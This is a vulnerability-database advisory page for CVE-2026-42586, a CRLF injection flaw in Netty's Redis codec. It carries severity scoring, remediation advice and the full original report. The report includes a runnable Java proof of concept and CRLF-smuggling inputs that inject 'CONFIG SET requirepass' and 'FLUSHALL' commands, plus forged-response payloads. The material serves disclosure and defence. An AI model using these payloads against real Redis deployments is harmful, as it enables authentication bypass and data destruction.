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Netty Redis Codec CVE-2026-42586

HIGH
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-05-07 https://github.com/netty/netty GHSA-rgrr-p7gp-5xj7
7.1
CVSS 3.1 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted key via web request
  2. Delivery
    App embeds input in InlineCommandRedisMessage
  3. Exploit
    CRLF breaks RESP command framing
  4. Execution
    Redis parses injected CONFIG SET/FLUSHALL
  5. Impact
    Authentication removed and data destroyed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

Exploitation requires ALL of: (1) the application uses Netty's codec-redis module; (2) user-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content; and (3) the application performs no CRLF sanitization before constructing those objects. This is explicitly limited to Netty's text-based inline-command and simple-string/error response types that use CRLF as protocol delimiters; the report states the binary-safe, length-prefixed ArrayRedisMessage/BulkStringRedisMessage path used by most production Redis clients is NOT affected. Realistic affected deployments are therefore custom Redis clients/proxies, middleware forwarding SimpleString/Error responses, or Sentinel/Cluster management tooling that build inline commands from untrusted input. The response-poisoning variants additionally require a malicious or MITM upstream Redis server.

Impact

The provided CVSS of 7.1 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) rates this as High, but the exploitation-probability signals all point lower: EPSS is 0.02% (5th percentile), there is no CISA KEV listing, and the vuln.today decision label is 'this_week' rather than act_now or emergency - consistent with a patch-on-normal-cycle item, not an active-exploitation emergency. A full, author-verified PoC is embedded in the report (claimed run against Netty 4.2.12.Final), which raises technical feasibility, but it demonstrates library behavior in an EmbeddedChannel rather than exploitation of a live deployed service. Crucially, the report itself states exploitation requires the consuming application to use Netty's text-based codec-redis message types (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) with unsanitized user input - a non-default pattern, because most production Redis clients built on Netty use the binary-safe, length-prefixed ArrayRedisMessage/BulkStringRedisMessage path, which the report says is NOT affected. The signals also conflict on attack vector: the authoritative CVSS vector gives AV:L (local), while the report's own summary table claims AV:N (Network) - verify with the vendor, since the realistic command-injection scenario (user-supplied request parameter) actually delivers attacker data over the network. Net assessment: a real, legitimate CRLF/CWE-93 defect worth remediating, but low real-world urgency and heavily bounded by whether the application uses the specific vulnerable message types.

Exploit ScenarioDerived

An application uses Netty's codec-redis module and builds a Redis command by concatenating a user-controlled request parameter into an InlineCommandRedisMessage without CRLF sanitization. Because RedisEncoder writes the string without neutralizing \r\n (the RESP delimiter), the attacker injects extra commands such as CONFIG SET requirepass "" and FLUSHALL, removing authentication and destroying data. A runnable PoC accompanying the report demonstrates the encoder emitting the injected commands; given the report's AC:L claim the injection itself is simple, though it only works when the application uses the affected text-based message types.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

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AnalysisAIv2 – Oct 26, 2026

Netty's Redis codec can emit extra RESP commands or forged responses when untrusted content containing CR/LF is placed in InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage without sanitization. Custom Redis clients, proxies, and Sentinel/Cluster tooling using those text message types are affected; the length-prefixed ArrayRedisMessage/BulkStringRedisMessage path used by most production clients is not. EPSS is 0.02% (5th percentile) with no CISA KEV listing, and a proof-of-concept is included in the report without confirmed active exploitation.

Earlier versions of this analysis (1)
v1 May 07, 2026 - 00:46 CVSS 6.8

CRLF injection in Netty's RedisEncoder allows remote command injection and response poisoning by injecting carriage return and line feed characters into InlineCommandRedisMessage, SimpleStringRedisMessage, and ErrorRedisMessage objects. Attackers can inject arbitrary Redis commands (such as CONFIG SET, FLUSHALL, or authentication bypass) or forge fake responses when user-controlled input is placed into these message types without sanitization. The vulnerability affects Netty 4.2.12.Final and all prior versions with the codec-redis module; no active exploitation has been reported in CISA KEV, but publicly available proof-of-concept code demonstrates the vulnerability.

RemediationAI

Patch available per vendor advisory; apply the Netty codec-redis update referenced by GHSA-rgrr-p7gp-5xj7 and https://github.com/advisories/GHSA-rgrr-p7gp-5xj7, confirming the exact fixed version before rollout because the provided data does not name one. Until upgraded, reject or strip CR and LF in any content passed to InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage, and do not build inline Redis commands from untrusted input; moving untrusted payloads to ArrayRedisMessage/BulkStringRedisMessage avoids the delimiter problem but changes the wire format and does not cover proxy response types. Restrict proxy/middleware trust to known upstream Redis servers to reduce the response-poisoning variant, and track distro updates such as Ubuntu USN-8401-1.

Affected Packages

maven io.netty:netty-codec-redis fix: 4.1.133.Final, 4.2.13.Final

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in maven

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Redis Serialization Protocol uses CRLF as the delimiter for simple strings, errors, and inline commands. Netty's RedisEncoder writes UTF-8 content with ByteBufUtil.writeUtf8 and then appends EOL without checking for embedded CR or LF, while AbstractStringRedisMessage constructors only null-check content. CWE-93 improper neutralization of CRLF sequences therefore allows a crafted content value to terminate a RESP frame early and begin another; the affected CPE is pkg:maven/io.netty:netty-codec-redis. The report's trigger is untrusted content containing CR or LF passed to InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage; the length-prefixed ArrayRedisMessage/BulkStringRedisMessage encoding is binary-safe and not affected. Injected inline commands could change Redis configuration or data, as illustrated by the report's CONFIG SET requirepass and FLUSHALL examples, and the report compares this pattern to prior Netty CRLF advisories GHSA-84h7-rjj3-6jx4 and GHSA-jq43-27x9-3v86.

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Severity by source

NVD PRIMARY 7.1 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 7.4 HIGH

Attacker input arrives over the network (AV:N) with no auth in the command-injection path (PR:N), but exploitation needs the non-default text-based codec-redis message types without sanitization, so AC:H; no availability metric per input.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE 6.8 MEDIUM
AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Red Hat 6.8 MEDIUM

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
Analysis Updated
Oct 26, 2026 - 17:35 vuln.today
v2 - CVSS changed
Severity Changed
Oct 26, 2026 - 17:23 NVD
MEDIUM HIGH
CVSS changed
Oct 26, 2026 - 17:23 NVD
6.8 (MEDIUM) 7.1 (HIGH)
CVE Published
May 07, 2026 - 00:24 nvd
MEDIUM 6.8

DescriptionNVD

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-redis)
Componentio.netty.handler.codec.redis.RedisEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
ImpactRedis Command Injection / Response Poisoning
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

java
// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder - SMTP command injectionAdded SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4HttpRequestEncoder - CRLF in URIAdded HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include:

  • Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
  • Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
  • Applications that construct Redis monitoring or diagnostic commands from user input
  • Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

java
// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis:

  1. GET foo
  2. CONFIG SET requirepass "" (removes authentication!)
  3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

java
// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees:

  1. Simple String: +OK (expected response)
  2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

java
ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees:

  1. Error: -ERR unknown
  2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

java
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

bash
# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
IntegrityHIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
AvailabilityCan be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication BypassCONFIG SET requirepass "" removes authentication
Data ExfiltrationLua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

java
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

java
private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP:

  • SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
  • This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.netty:netty-codec-redis (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

Executive ViewAI

Why It Matters

CVE-2026-42586 is a high-severity (CVSS 7.1) protocol injection vulnerability in Netty's Redis codec that could allow forged RESP commands when untrusted data is mishandled. Organizations using custom Redis clients, proxies, or cluster management tools built on Netty are exposed, potentially leading to data corruption or unauthorized commands. While no active exploitation is confirmed, the availability of a proof-of-concept and the criticality of Redis in many architectures make this a priority for remediation.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Prevalence
Low
niche netty-codec-redis module, rarely used directly for Redis clients
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)NVD

pkg:maven/io.netty:netty-codec-redis
pkg:maven/io.netty:netty-codec-redis

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Authenticated remote code execution in OpenC3 COSMOS (Ruby gem 'openc3' versions 5.1.0 through 7.2.1) lets any logged-in

CVE-2025-46818 HIGH POC
7.3 Oct 03

CVE-2025-46818 is a sandbox-escape flaw in Redis's embedded Lua scripting engine (all versions up to and including 8.2.1

CVE-2026-27574 CRITICAL POC
9.9 Feb 21

Code injection in OneUptime monitoring via custom JS monitor using vm module. PoC and patch available.

CVE-2026-84372 CRITICAL POC
9.8 Sep 01

RESP protocol command injection in Predis, the popular PHP client for Redis and Valkey, affects versions 3.0.0-RC1 throu

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS Affected

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